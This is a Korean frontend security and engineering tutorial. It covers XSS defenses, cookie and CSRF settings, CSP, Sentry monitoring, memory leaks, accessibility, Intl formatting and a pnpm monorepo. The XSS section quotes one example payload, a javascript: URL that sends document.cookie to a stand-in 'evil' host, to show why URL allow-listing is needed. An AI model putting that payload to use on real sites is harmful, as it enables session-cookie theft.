return () => removeEventListener("beforeunload", onBeforeUnload);
}, [isDirty]);
보안 실무 — XSS · 토큰 · CSRF · CSP
프론트엔드 보안 사고는 대부분 남의 입력을 HTML 이나 URL 로 실행해서 시작합니다. React 가 기본으로 막아 주는 것과 막아 주지 않는 것을 구분하고, 뚫렸을 때 피해를 줄이는 두 번째 벽(CSP)까지 세웁니다. 공급망 · 프로토타입 오염은 🧬 전문가 탭 d13 에 있습니다.
React 가 막아 주는 것 · 안 막아 주는 것
// ✅ 텍스트로 넣으면 자동 이스케이프 — <script> 가 글자로 보일 뿐
<p>{comment.body}</p>
// ❌ 이름부터 위험하다고 말하는 API
<div dangerouslySetInnerHTML={{ __html: comment.body }} />
// ✅ HTML 이 꼭 필요하면(에디터 결과 · 마크다운) 정화 후에
import DOMPurify from "dompurify";
function RichText({ html }: { html: string }) {
const clean = useMemo(
() => DOMPurify.sanitize(html, { USE_PROFILES: { html: true } }), [html]);
return <div className="prose" dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ❌ URL 은 이스케이프로 안 막힙니다
<a href={user.website}>홈페이지</a> // "javascript:fetch('//evil?c='+document.cookie)"
// 최근 React 는 javascript: 를 차단하지만, 거기에 기대지 말고 허용 목록으로
URL 은 허용 목록으로 · 리다이렉트는 같은 출처로
const ALLOWED = new Set(["http:", "https:", "mailto:", "tel:"]);
export function safeUrl(raw: string): string | undefined {
try {
const u = new URL(raw, location.origin);
return ALLOWED.has(u.protocol) ? u.href : undefined; // data: · javascript: 탈락
} catch {
return undefined;
}
}
// <a href={safeUrl(user.website)} target="_blank" rel="noopener noreferrer">
// 로그인 후 ?next=… 로 돌려보내기 — '열린 리다이렉트' 방지
export function safeNext(next: string | null): string {
if (!next) return "/";
// "/orders" 만 허용. "//evil.com" · "/\evil.com" 은 다른 사이트로 갑니다
if (!next.startsWith("/") || next.startsWith("//") || next.startsWith("/\\")) return "/";
return next;
}
innerHTML · insertAdjacentHTML · eval ·
new Function · 문자열 setTimeout · iframe srcdoc ·
html: true 로 켠 마크다운 렌더러 · 차트 라이브러리의 HTML 툴팁 옵션. 코드 리뷰에서 이 단어들을 검색하세요.
토큰 저장 위치 — 무엇을 막고 무엇을 포기하나 🟡 중급
쿠키 설정 — 속성 하나하나가 방어선
// 서버(Express) — refresh 토큰을 쿠키로 내려줄 때
res.cookie("refresh_token", token, {
httpOnly: true, // JS 에서 document.cookie 로 못 읽음 → XSS 탈취 차단
secure: true, // https 에서만 전송
sameSite: "lax", // 다른 사이트에서 시작된 POST 에는 안 붙음 → CSRF 1차 방어
path: "/api/auth", // 재발급 경로에만 실려 감 — 다른 요청엔 노출 안 됨
maxAge: 14 * 24 * 60 * 60 * 1000, // 14일 (ms)
});
// 재발급할 때마다 refresh 토큰도 새로 발급(회전)하고 옛 것은 폐기 — 도난 감지
| SameSite | 다른 사이트에서 온 요청에 |
|---|---|
Strict | 절대 안 붙음 — 외부 링크로 들어오면 로그아웃처럼 보임 |
Lax (기본) | 링크 이동(GET)에만 붙음 — 대부분의 기본값 |
None | 항상 붙음 — Secure 필수, CSRF 토큰 필수 |
CSRF — 쿠키로 인증한다면 남은 구멍을 막는다
// CSRF = 다른 사이트가 '내 쿠키를 실은 요청'을 대신 보내게 하는 공격
// SameSite=Lax 로 대부분 막히지만, 아래 경우엔 토큰을 추가합니다
// · SameSite=None 이 필요한 구조 (다른 도메인에 임베드)
// · GET 으로 상태를 바꾸는 오래된 API ← 이것부터 고치세요
// · 같은 사이트의 다른 서브도메인을 믿을 수 없을 때
// 더블 서브밋: 서버가 내려준 csrf 쿠키(HttpOnly 아님)를 헤더로 다시 보냄
function csrfHeader(): Record<string, string> {
const m = document.cookie.match(/(?:^|; )csrf=([^;]+)/);
return m ? { "X-CSRF-Token": decodeURIComponent(m[1]) } : {};
}
// request() 의 상태 변경 요청(POST · PUT · PATCH · DELETE)에 자동으로 붙이기
// 서버는 헤더 값 === 쿠키 값(서명 검증)인지 확인 — 다른 사이트는 쿠키를 '읽을' 수 없음
실무에선 이렇게 — CSP 를 서비스 중단 없이 켜기 🔴 실무
nonce 기반 정책 — 요청마다 새 난수
// HTML 을 서버가 내려준다면 (Express 예)
import crypto from "node:crypto";
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.locals.nonce = nonce; // 템플릿의 <script nonce="…"> 에 사용
res.setHeader("Content-Security-Policy-Report-Only", [ // ① 먼저 보고만
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`, // nonce 붙은 스크립트 + 그것이 부른 것
"style-src 'self' 'unsafe-inline'", // 스타일은 나중에 조이기
"img-src 'self' data: https://cdn.example.com",
"connect-src 'self' https://api.example.com",
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'", // 클릭재킹 방지
"report-to csp",
].join("; "));
res.setHeader("Reporting-Endpoints", 'csp="/csp-report"');
next();
});
// ④ 단계에서 헤더 이름만 Content-Security-Policy 로 바꿉니다
정적 SPA · 프레임워크별 메모
정적 파일로 배포하는 Vite SPA
· 요청마다 nonce 를 못 만들면 → 빌드 시 해시('sha256-…') 방식
· Vite 의 html.cspNonce 옵션은 자리표시자만 넣어 줍니다
→ 실제 값은 서버(Nginx · CDN 엣지)가 요청마다 치환해야 함
Next.js
· 미들웨어(프록시)에서 nonce 생성 → 헤더로 전달 → 레이아웃에서 읽기
· 자세한 것은 ▲ Next.js 탭
서드파티 스크립트
· 태그 매니저가 스크립트를 '주입'하는 구조면 strict-dynamic 이 필수
· 결제 · 지도 SDK 는 문서에 필요한 도메인 목록이 있습니다
| 보안 헤더 | 한 줄 효과 |
|---|---|
Strict-Transport-Security | https 강제 (HSTS) |
X-Content-Type-Options: nosniff | MIME 추측 금지 |
Referrer-Policy | strict-origin-when-cross-origin — 경로 유출 방지 |
Permissions-Policy | 카메라 · 위치 등 안 쓰는 권한 끄기 |
에러 모니터링 — 사용자보다 먼저 안다
백엔드 에러는 서버 로그에 남지만, 프론트 에러는 사용자 브라우저에서 났다가 사라집니다. 제보가 오기 전에 알려면 수집기가 필요하고, 수집한 뒤에는 무엇부터 고칠지 정하는 기준이 필요합니다. 여기서는 Sentry 를 예로 들지만 절차는 어떤 도구든 같습니다. 로그 설계는 📝 로깅 탭.
초기화 — 가장 먼저 실행되는 곳에
// src/main.tsx — 다른 import 보다 먼저 npm i @sentry/react
import * as Sentry from "@sentry/react";
import { createRoot } from "react-dom/client";
Sentry.init({
dsn: import.meta.env.VITE_SENTRY_DSN, // DSN 은 공개돼도 되는 값
environment: import.meta.env.MODE, // production · staging 구분
release: import.meta.env.VITE_RELEASE, // 빌드 때 커밋 SHA 주입 ★
integrations: [
Sentry.browserTracingIntegration(),
Sentry.replayIntegration({ maskAllText: true, blockAllMedia: true }),
],
tracesSampleRate: 0.1, // 성능 추적 10%
replaysSessionSampleRate: 0, // 평소엔 녹화 안 함
replaysOnErrorSampleRate: 1.0, // 에러 난 세션만 녹화
sendDefaultPii: false, // IP · 쿠키 자동 수집 끔
});
// React 19 — 루트에서 세 종류의 에러를 모두 보고
const root = createRoot(document.getElementById("root")!, {
onUncaughtError: Sentry.reactErrorHandler(), // 경계가 못 잡은 것
onCaughtError: Sentry.reactErrorHandler(), // 경계가 잡은 것
onRecoverableError: Sentry.reactErrorHandler(),// 하이드레이션 불일치 등
});
root.render(<App />);
// 로그인 후 — 이메일 대신 내부 id 만
Sentry.setUser({ id: user.id });
Sentry.setTag("plan", user.plan);
에러 경계는 '구역'마다 — 한 위젯이 페이지를 죽이지 않게
function OrderPage() {
return (
<Layout>
<Sentry.ErrorBoundary
fallback={({ resetError }) => (
<WidgetError title="추천 상품을 불러오지 못했습니다" onRetry={resetError} />
)}
beforeCapture={(scope) => scope.setTag("area", "recommend")}>
<Recommendations />
</Sentry.ErrorBoundary>
<OrderSummary /> {/* 핵심 영역은 페이지 단위 경계에 맡김 */}
</Layout>
);
}
setTimeout · Promise 안의 에러.
이것들은 전역(window.onerror · unhandledrejection)으로 가고 Sentry 가 자동으로 받습니다.
그래서 catch 해 놓고 아무것도 안 하는 코드가 가장 위험합니다 — 화면도 조용하고 보고도 안 됩니다.
삼켜야 한다면 Sentry.captureException(e) 한 줄은 남기세요.
소스맵 — a.b is not a function 을 원래 줄로 🟡 중급
Vite 플러그인 — 빌드가 끝나면 올리고 지운다
// vite.config.ts npm i -D @sentry/vite-plugin
import { sentryVitePlugin } from "@sentry/vite-plugin";
export default defineConfig({
build: { sourcemap: "hidden" }, // .map 은 만들되 JS 끝에 링크 주석을 안 남김
plugins: [
react(),
sentryVitePlugin({ // ★ 플러그인 목록의 맨 뒤
org: "acme",
project: "web",
authToken: process.env.SENTRY_AUTH_TOKEN, // CI 비밀 — VITE_ 를 붙이면 번들에 박힙니다!
release: { name: process.env.VITE_RELEASE },
sourcemaps: { filesToDeleteAfterUpload: ["./dist/**/*.map"] },
}),
],
});
# CI — 같은 SHA 를 빌드와 init 양쪽에
VITE_RELEASE=$GITHUB_SHA npm run build
소음 걸러내기 — 알림이 많으면 아무도 안 봅니다
Sentry.init({
// …위 설정에 더해
ignoreErrors: [
"ResizeObserver loop completed with undelivered notifications", // 무해
/^Non-Error promise rejection captured/,
],
denyUrls: [/^chrome-extension:\/\//i, /^moz-extension:\/\//i], // 확장 프로그램
beforeSend(event, hint) {
const err = hint.originalException;
// 정상 흐름인 것들 — 내가 취소한 요청, 세션 만료
if (err instanceof ApiError && (err.kind === "aborted" || err.status === 401)) return null;
return event;
},
});
<script crossorigin="anonymous"> + CDN 의 Access-Control-Allow-Origin 헤더가 둘 다 있어야 보입니다.
실무에선 이렇게 — 알림 규칙과 대응 절차 🔴 실무
알림은 '사용자 영향' 기준으로
| 조건 | 알림 |
|---|---|
| 새 이슈 + 결제 · 로그인 · 가입 경로 태그 | 즉시 — 당번 메신저 |
| 기존 이슈의 영향 사용자 수가 1시간에 10배 | 즉시 |
| 새 릴리스 후 크래시 없는 세션 비율 급락 | 즉시 — 롤백 검토 |
| 그 밖의 새 이슈 | 하루 한 번 요약 |
| 해결 처리한 이슈가 다시 발생 (회귀) | 담당자에게 자동 배정 |
area(어느 화면) · flow(결제 · 가입) · plan 같은 태그가 있어야
"결제 경로의 새 에러"라는 규칙을 만들 수 있습니다. 태그는 검색어입니다.
이슈 하나를 받았을 때 — 10분 절차
1. 영향 범위 사용자 수 · 처음 본 릴리스 · 브라우저/OS 분포
→ 특정 브라우저만? 특정 릴리스부터? 이 둘이 원인의 절반
2. 발자국 breadcrumbs: 직전 클릭 · 이동 · 실패한 요청
3. 재생 Replay 가 있으면 화면으로 확인 (마스킹 상태)
4. 재현 같은 브라우저 · 같은 계정 조건 · 네트워크 감속
5. 판단 롤백 / 핫픽스 / 다음 배포 — 오른쪽 위 칸이면 롤백 먼저
6. 마무리 "다음 릴리스에서 해결"로 표시 → 재발하면 회귀 알림
원인이 데이터면 서버 팀에 이슈 링크와 함께 전달
beforeSend 에서 URL 쿼리를 지우는 처리를 두세요.
메모리 누수 찾기 — 바닥선이 오르는가
SPA 는 페이지를 새로 고치지 않으니 작은 누수가 몇 시간에 걸쳐 쌓입니다. 관제 화면 · 사내 업무 툴처럼 하루 종일 켜 두는 앱에서 "오후가 되면 버벅인다", "탭이 터졌다"로 나타납니다. V8 GC 의 원리는 🧬 전문가 탭 d03 · d04, 여기서는 브라우저에서 찾고 고치는 절차입니다.
3-스냅샷 기법 — DevTools Memory 탭
준비 시크릿 창(확장 프로그램 제외) · 프로덕션 빌드에 가깝게
의심 동작 하나를 정합니다 (예: 주문 상세 모달 열기 → 닫기)
① 동작을 한 번 해서 '처음 한 번만 생기는 것'(캐시 · 코드)을 미리 만듦
② 휴지통 아이콘(Collect garbage) → Heap snapshot #1
③ 동작을 정확히 N번 반복 (예: 10번)
④ 휴지통 → Heap snapshot #2
⑤ 동작 N번 더 → 휴지통 → Heap snapshot #3
읽기 #3 을 선택 → 보기를 Comparison, 기준을 #2 로
→ # Delta 가 N 의 배수인 생성자가 용의자
(10번 했는데 정확히 +10, +20 이면 거의 확실)
→ 항목 펼쳐 아래 Retainers 창에서 '누가 붙잡고 있나' 추적
Detached 를 치면 DOM 에서 떨어졌는데 아직 살아 있는 요소가 나옵니다.
모달을 닫았는데 Detached HTMLDivElement 가 회차만큼 늘어 있다면 범인을 반쯤 잡은 것입니다.
Retainers 를 읽는 법
Detached HTMLDivElement ← 살아 있으면 안 되는 것
▸ in handler of Function onResize ← 함수가 그 DOM 을 붙잡음
▸ in [[Scope]] … resize listener ← 리스너 목록에 남아 있음
▸ Window ← 뿌리(GC root) — 끝
해석: window 에 붙인 resize 리스너를 안 떼서
→ 리스너 함수 → 클로저 → 모달 DOM 이 통째로 남음
체크
· 경로에 내 코드의 함수 이름이 보이는 가장 아래 칸이 '고칠 곳'
· (internal) · system / Context 같은 칸은 건너뛰고 읽기
· Shallow size 는 자기 크기, Retained size 는 '이것만 풀면 같이 풀리는 양'
→ 정렬은 Retained size 로
a · b 만 보입니다.
React 개발 모드는 추가 정보를 붙잡아 두므로 최종 확인은 프로덕션 빌드(vite preview)로 합니다.
누수 패턴 — 정리 함수를 잊은 다섯 가지 🟡 중급
리스너 · 타이머 · 관찰자
// ❌ 붙이기만 하고 떼지 않음
useEffect(() => {
window.addEventListener("resize", onResize);
const id = setInterval(poll, 5_000);
const ro = new ResizeObserver(measure);
ro.observe(boxRef.current!);
}, []);
// ✅ 한 번에 정리 — AbortController 하나로 리스너 여러 개
useEffect(() => {
const ac = new AbortController();
window.addEventListener("resize", onResize, { signal: ac.signal });
document.addEventListener("keydown", onKey, { signal: ac.signal });
const id = setInterval(poll, 5_000);
const ro = new ResizeObserver(measure);
ro.observe(boxRef.current!);
return () => {
ac.abort(); // 위 리스너 전부 해제
clearInterval(id);
ro.disconnect();
};
}, []);
// 외부 구독(웹소켓 · 이벤트 버스 · 지도 SDK)도 같은 원칙
useEffect(() => {
const off = bus.on("price", setPrice); // 해제 함수를 돌려주는 API 가 좋은 API
return off;
}, []);
모듈 캐시 · 떨어진 DOM · 큰 클로저
// ❌ 모듈 최상위 Map — 앱이 살아 있는 한 영원히 커짐
const cache = new Map<string, Result>();
export function memo(key: string) { /* cache.set(…) 만 하고 지우지 않음 */ }
// ✅ 크기 상한 또는 객체 키면 WeakMap
const byNode = new WeakMap<Element, Meta>(); // 요소가 사라지면 같이 사라짐
const MAX = 500;
function put(k: string, v: Result) {
cache.delete(k); // 다시 넣으면 맨 뒤로 (Map 은 삽입 순서)
cache.set(k, v);
if (cache.size > MAX) cache.delete(cache.keys().next().value!); // 가장 오래 안 쓴 것
// 읽을 때도 delete → set 으로 맨 뒤로 옮기면 LRU 가 됩니다
}
// ❌ 떨어진 DOM 을 변수로 붙잡기
let lastModal: HTMLElement | null = null;
function open() { lastModal = document.querySelector(".modal"); } // 닫혀도 참조 남음
// ❌ 큰 데이터를 잡은 클로저를 오래 사는 곳에 등록
function setup(rows: Row[]) { // rows = 50MB
const total = rows.length;
window.addEventListener("beforeprint", () => log(total, rows[0]));
// 콜백이 rows 를 참조 → 리스너가 사는 동안 50MB 가 같이 삼
}
push 만 하는 코드.
화면에 최근 100건만 보인다면 저장도 100건만 하세요. 하루 켜 두면 수십만 건이 쌓입니다.
실무에선 이렇게 — 재발을 막는 자동 검사 🔴 실무
MemLab — 시나리오를 돌리고 누수만 보고
// memlab/order-modal.js npm i -D memlab
// 메타가 만든 도구: 열기(action) → 되돌리기(back)를 하고 남은 객체를 찾아 줍니다
module.exports = {
url: () => "http://localhost:4173/orders", // vite preview
action: async (page) => {
await page.click("[data-testid=order-row]");
await page.waitForSelector("[role=dialog]");
},
back: async (page) => {
await page.keyboard.press("Escape");
await page.waitForSelector("[role=dialog]", { hidden: true });
},
};
npx memlab run --scenario memlab/order-modal.js
# 결과: 남은 객체의 retainer 경로를 묶어서 보여 줍니다
# 야간 CI 로 돌려 '새로 생긴 누수 경로'가 있으면 알림
패턴별 단서표
| 패턴 | 스냅샷에서 보이는 모습 | 처방 |
|---|---|---|
| 리스너 미해제 | Detached 요소 · retainer 에 handler | { signal } + abort |
| 타이머 | retainer 에 Timeout · 콜백 함수 | clearInterval |
| 관찰자 | ResizeObserver · IntersectionObserver | disconnect() |
| 무한 캐시 | Map · Array 의 Retained size 가 회차마다 증가 | 상한 · WeakMap |
| 스토어 누적 | 상태 배열 길이가 계속 증가 | 창 크기만 보관 |
| 서드파티 위젯 | 라이브러리 내부 이름의 Detached 트리 | 문서의 destroy() 호출 |
접근성 실무 체크 — 키보드 하나로 끝까지 가는가
접근성은 장애가 있는 사용자만의 문제가 아닙니다. 마우스가 고장 난 사람, 한 손으로 폰을 든 사람, 햇빛 아래의 화면 — 그리고 공공 · 금융 서비스라면 법적 요구사항입니다. 역할 · 이름 · 상태의 기초는 📄 HTML 탭 h08, 여기서는 배포 전에 무엇을 어떤 순서로 확인하나입니다.
모달은 네이티브 <dialog> 로
import { useEffect, useId, useRef, type ReactNode } from "react";
export function Modal({ open, onClose, title, children }: {
open: boolean; onClose: () => void; title: string; children: ReactNode;
}) {
const ref = useRef<HTMLDialogElement>(null);
const titleId = useId();
useEffect(() => {
const d = ref.current;
if (!d) return;
if (open && !d.open) d.showModal(); // 바깥은 inert · 포커스는 안으로 · Esc 지원
if (!open && d.open) d.close(); // 닫히면 브라우저가 이전 포커스로 복귀
}, [open]);
return (
<dialog ref={ref} aria-labelledby={titleId} className="modal"
onClose={onClose} // Esc 로 닫혀도 상태를 맞춤
onClick={(e) => { if (e.target === e.currentTarget) onClose(); }}>
{/* dialog 의 padding 은 0 으로 — 안쪽 div 가 여백을 가져야 배경 클릭 판정이 맞음 */}
<div className="modal-body">
<h2 id={titleId}>{title}</h2>
{children}
<button type="button" onClick={onClose}>닫기</button>
</div>
</dialog>
);
}
document.activeElement 를 기억해 두고 닫을 때 .focus(),
배경에는 inert 속성, 첫 포커스는 첫 입력칸 또는 제목. 이걸 다 손으로 하느니 <dialog> 나
검증된 라이브러리(Radix · React Aria)를 쓰는 편이 싸게 먹힙니다.
포커스가 '보이게' — 가장 흔한 위반
/* ❌ 디자인이 거슬린다고 지우는 순간 키보드 사용자는 길을 잃습니다 */
button:focus { outline: none; }
/* ✅ 키보드로 왔을 때만 보이는 링 — 마우스 클릭엔 안 보임 */
:focus-visible {
outline: 3px solid #2563eb;
outline-offset: 2px;
}
/* 화면엔 안 보이고 스크린리더만 읽는 글 */
.sr-only {
position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px;
overflow: hidden; clip: rect(0 0 0 0); white-space: nowrap; border: 0;
}
/* 움직임을 줄여 달라는 설정 존중 */
@media (prefers-reduced-motion: reduce) {
* { animation-duration: .01ms !important; transition-duration: .01ms !important; }
}
| 대비 기준 (WCAG 2.2 AA) | 최소 비율 |
|---|---|
| 본문 글자 | 4.5 : 1 |
| 큰 글자 (24px · 굵게 18.66px 이상) | 3 : 1 |
| 버튼 테두리 · 포커스 링 · 아이콘 | 3 : 1 |
흰 배경의 #999 회색 글자 | 약 2.8 : 1 — 불합격 |
흰 배경의 #767676 | 약 4.5 : 1 — 합격선 |
aria 최소 규칙 — 안 쓰는 게 첫 번째 규칙 🟡 중급
자주 쓰는 다섯 가지 모양
// ① div 버튼 금지 — 키보드 · 스크린리더 모두 '버튼'인 줄 모릅니다
<div className="btn" onClick={save}>저장</div> {/* ❌ */}
<button type="button" onClick={save}>저장</button> {/* ✅ */}
// ② 아이콘만 있는 버튼엔 이름
<button type="button" aria-label="검색어 지우기" onClick={clear}>
<XIcon aria-hidden="true" />
</button>
// ③ 펼침 · 접힘 상태
<button aria-expanded={open} aria-controls="filters" onClick={() => setOpen(!open)}>
필터
</button>
<div id="filters" hidden={!open}>…</div>
// ④ "저장됨" 같은 알림 — 영역은 처음부터 렌더, 내용만 바꿈
<div aria-live="polite" className="sr-only">{status}</div>
// ⑤ 현재 위치
<a href="/orders" aria-current={active ? "page" : undefined}>주문</a>
규칙과 그 이유
| 규칙 | 이유 |
|---|---|
| 네이티브 요소가 있으면 그것을 | button 은 Enter · Space · 포커스 · 역할을 공짜로 줍니다 |
| role 을 붙였으면 행동도 구현 | role="tab" 은 화살표 키 이동까지 약속하는 것 |
포커스 가능한 요소에 aria-hidden 금지 | 보이지 않는 곳으로 포커스가 들어갑니다 |
장식 이미지는 alt="" | alt 를 빼면 파일 이름을 읽습니다 |
| live 영역은 미리 있어야 | 나중에 생긴 영역의 첫 내용은 안 읽히는 경우가 많음 |
tabindex 는 0 과 -1 만 | 양수는 탭 순서를 망가뜨립니다 |
실무에선 이렇게 — 자동 검사 + 5분 수동 루틴 🔴 실무
자동 — 린트(작성 중) + axe(E2E)
// eslint.config.js npm i -D eslint-plugin-jsx-a11y
import jsxA11y from "eslint-plugin-jsx-a11y";
export default [
// …기존 설정
jsxA11y.flatConfigs.recommended, // div onClick · alt 누락을 작성 중에 잡음
];
// e2e/a11y.spec.ts npm i -D @axe-core/playwright
import { test, expect } from "@playwright/test";
import AxeBuilder from "@axe-core/playwright";
for (const path of ["/", "/orders", "/signup"]) {
test(`접근성 ${path}`, async ({ page }) => {
await page.goto(path);
const r = await new AxeBuilder({ page })
.withTags(["wcag2a", "wcag2aa", "wcag21aa", "wcag22aa"])
.exclude("#third-party-chat") // 우리가 못 고치는 영역
.analyze();
expect(r.violations).toEqual([]);
});
}
// 모달 · 메뉴처럼 '열린 상태'도 따로 검사
test("주문 상세 모달", async ({ page }) => {
await page.goto("/orders");
await page.getByRole("button", { name: "상세 보기" }).first().click();
const r = await new AxeBuilder({ page }).include("dialog").analyze();
expect(r.violations).toEqual([]);
});
수동 — 배포 전 5분 루틴
□ 마우스를 치우고 Tab 만으로 핵심 흐름 끝까지
(로그인 → 검색 → 장바구니 → 결제 버튼까지)
□ 포커스 링이 항상 보이는가 · 순서가 화면 순서와 같은가
□ 모달: 열면 안으로 · Esc 로 닫힘 · 닫으면 원래 버튼으로
□ 브라우저 확대 200% — 글자가 잘리거나 겹치지 않는가
□ 화면 너비 320px — 가로 스크롤 없이 읽히는가
□ 스크린리더로 한 화면만 (Windows NVDA · macOS VoiceOver)
버튼 이름이 '버튼'이 아니라 '주문하기'로 읽히는가
□ 에러 메시지가 읽히는가 (PROD 06 의 aria-describedby)
날짜 · 숫자 · 다국어 — UTC 로 저장, 사람의 말로 표시
"해외 지사에서 마감일이 하루 앞당겨져 보여요", "엔화에 소수점이 찍혀요" — 표시 문제는 대부분 직접 문자열을 조립해서 생깁니다. 브라우저에 내장된 Intl 이 이미 거의 다 해 줍니다. 라이브러리 없이 시작하고, 부족할 때만 더합니다.
날짜 · 시각 표시 — Intl.DateTimeFormat
// 포매터는 만들기가 비쌉니다 — 모듈에서 한 번 만들어 재사용
const seoul = new Intl.DateTimeFormat("ko-KR", {
dateStyle: "medium", timeStyle: "short", timeZone: "Asia/Seoul",
});
seoul.format(new Date("2026-03-08T15:30:00Z")); // "2026. 3. 9. 오전 12:30"
// 사용자 브라우저의 시간대
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone; // "America/New_York"
// 시간대 약어까지
new Intl.DateTimeFormat("en-US", {
timeZone: "America/New_York", hour: "numeric", minute: "2-digit", timeZoneName: "short",
}).format(new Date("2026-03-08T15:30:00Z")); // "11:30 AM EDT"
// ※ timeStyle · dateStyle 은 timeZoneName 과 함께 쓰면 TypeError — 개별 옵션으로
// 상대 시간 — "3분 전" 을 직접 만들지 마세요
const rtf = new Intl.RelativeTimeFormat("ko", { numeric: "auto" });
rtf.format(-1, "day"); // "어제"
rtf.format(3, "hour"); // "3시간 후"
// React — 로케일 · 시간대가 바뀔 때만 다시 만들기
const fmt = useMemo(() => new Intl.DateTimeFormat(locale, { dateStyle: "long", timeZone }),
[locale, timeZone]);
숫자 · 통화 — Intl.NumberFormat
const krw = new Intl.NumberFormat("ko-KR", { style: "currency", currency: "KRW" });
krw.format(12000); // "₩12,000"
new Intl.NumberFormat("ja-JP", { style: "currency", currency: "JPY" }).format(1200);
// "¥1,200" ← 엔화는 소수점 없음 (자동)
new Intl.NumberFormat("en-US", { style: "currency", currency: "USD" }).format(12.5);
// "$12.50"
new Intl.NumberFormat("de-DE", { style: "currency", currency: "EUR" }).format(1234.5);
// "1.234,50 €" ← 쉼표 · 마침표가 반대
new Intl.NumberFormat("ko-KR", { notation: "compact" }).format(12_300); // "1.2만"
new Intl.NumberFormat("ko-KR", { style: "percent", maximumFractionDigits: 1 })
.format(0.1234); // "12.3%"
// 통화별 소수 자릿수를 묻기 — 금액 입력칸의 step 을 정할 때
new Intl.NumberFormat("en", { style: "currency", currency: "JPY" })
.resolvedOptions().maximumFractionDigits; // 0
0.1 + 0.2 !== 0.3. 서버와는 최소 단위 정수(원 · 센트)나
문자열 십진수로 주고받고, 프론트는 표시만 합니다. 할인 · 세금 계산은 서버의 몫입니다.
시간대 함정 다섯 — 전부 실제로 나는 버그 🟡 중급
// ① 날짜만 있는 ISO 는 UTC 자정, 시각이 있으면 로컬 — 규칙이 다릅니다
new Date("2026-03-08"); // UTC 00:00 → 뉴욕에선 3월 7일 19:00
new Date("2026-03-08T00:00"); // 로컬 00:00
// ② "오늘" 을 toISOString 으로 — 한국 오전 9시 전엔 '어제'
new Date().toISOString().slice(0, 10); // ❌ UTC 기준
new Intl.DateTimeFormat("sv-SE", { timeZone: "Asia/Seoul" })
.format(new Date()); // ✅ "2026-10-01"
// (sv-SE 로케일이 YYYY-MM-DD 모양을 주는 관용구)
// ③ 월은 0부터
new Date(2026, 2, 8); // 3월 8일 (2 = 3월)
// ④ '하루 뒤' 를 24시간으로 — 서머타임 날은 하루가 23 · 25시간
d.setDate(d.getDate() + 1); // 달력 기준 (로컬)
new Date(d.getTime() + 86_400_000); // 시간 기준 — 의도가 다릅니다
// ⑤ 서버가 'Z' 없이 보내면 브라우저는 로컬로 해석
new Date("2026-03-08T15:30:00"); // 서울에선 KST 15:30 = 06:30Z ← 9시간 틀어짐
// → API 약속: 순간은 반드시 Z 또는 +09:00 같은 오프셋을 붙인다
데이터 종류별 저장 · 전송 규칙
| 종류 | 예 | 저장 · 전송 |
|---|---|---|
| 순간 | 주문 시각 · 로그인 시각 | UTC ISO …Z · DB 는 timestamptz |
| 달력 날짜 | 생일 · 마감일 · 휴일 | "2026-03-08" 문자열 · DB date |
| 벽시계 시각 | 매일 09:00 알림 | "09:00" + 시간대 이름(Asia/Seoul) |
| 기간 | 30분 · 3일 | 초 단위 정수 또는 ISO 기간 PT30M |
+09:00 은 "지금의 차이"일 뿐, 서머타임이 있는 지역은 날짜마다 바뀝니다.
반복 일정에는 America/New_York 같은 IANA 이름을 저장해야 내년에도 맞습니다.
실무에선 이렇게 — Temporal 과 다국어 🔴 실무
Temporal — Date 를 대체할 새 표준
// 브라우저 탑재가 진행 중입니다 — 지원표(caniuse)를 확인하고, 당분간 폴리필과 함께
import { Temporal } from "temporal-polyfill"; // 또는 @js-temporal/polyfill
// 순간 → 장소별 표시
const at = Temporal.Instant.from("2026-03-08T15:30:00Z");
at.toZonedDateTimeISO("Asia/Seoul").toPlainDate().toString(); // "2026-03-09"
at.toZonedDateTimeISO("America/New_York").toString();
// "2026-03-08T11:30:00-04:00[America/New_York]"
// 시간대 없는 달력 날짜 — 생일 · 마감일에 딱 맞는 타입
const due = Temporal.PlainDate.from("2026-03-08");
due.add({ months: 1 }).toString(); // "2026-04-08"
Temporal.Now.plainDateISO("Asia/Seoul"); // 서울의 '오늘'
// 둘의 차이 — 일 단위
due.until(Temporal.PlainDate.from("2026-12-25")).total({ unit: "days" });
다국어 — 문장을 조립하지 않는다
// ❌ 순서 · 복수형 · 조사가 언어마다 달라 조립하면 깨집니다
`${count} item` + (count > 1 ? "s" : "") + " in cart";
// ✅ 복수형 규칙은 PluralRules 가 압니다 (영어 2종, 아랍어 6종)
const pr = new Intl.PluralRules("en-US");
const forms = { one: "item", other: "items" } as const;
`${count} ${forms[pr.select(count) as keyof typeof forms] ?? forms.other}`;
// 목록 · 정렬 · 글자 수
new Intl.ListFormat("ko", { type: "conjunction" }).format(["사과", "배", "감"]);
// "사과, 배 및 감"
names.sort(new Intl.Collator("ko").compare); // 한글 정렬
[...new Intl.Segmenter("ko", { granularity: "grapheme" }).segment(nick)].length;
// 이모지 · 결합 문자를 한 글자로 센 길이
| 규칙 | 왜 |
|---|---|
| 문장 단위 키 · 변수는 자리표시자 | "cart.count": "{count}개 담김" — 어순은 번역가가 |
| 라이브러리 | react-i18next · FormatJS(react-intl) — ICU 메시지 형식 |
| 로케일 결정 순서 | 사용자 설정 → URL → navigator.languages |
| 글자 길이 여유 | 독일어는 영어보다 30% 이상 길어집니다 — 버튼 폭 고정 금지 |
모노레포 · 빌드 설정 — 공유는 쉽게, 비밀은 새지 않게
고객용 앱 · 관리자 앱 · API 서버가 같은 타입과 검증 규칙을 쓰기 시작하면 저장소를 합치게 됩니다. 도구 소개는 🧰 도구 탭 o01 · o02 에 있고, 여기서는 신입이 처음 받은 모노레포에서 막히는 세 곳 — 의존 연결 · tsconfig · 환경 변수 — 을 다룹니다.
워크스페이스와 내부 패키지
# pnpm-workspace.yaml
packages:
- "apps/*"
- "packages/*"
catalog: # 버전을 한 곳에서 (pnpm 9.5+)
react: ^19.2.0
react-dom: ^19.2.0
zod: ^4.0.0
typescript: ^5.9.0
// apps/web/package.json
{
"name": "@acme/web",
"private": true,
"dependencies": {
"@acme/ui": "workspace:*",
"@acme/schema": "workspace:*",
"react": "catalog:",
"react-dom": "catalog:"
}
}
// packages/schema/package.json — 빌드 없이 TS 원본을 그대로 내보내는 방식
{
"name": "@acme/schema",
"private": true,
"type": "module",
"exports": { ".": "./src/index.ts" },
"dependencies": { "zod": "catalog:" }
}
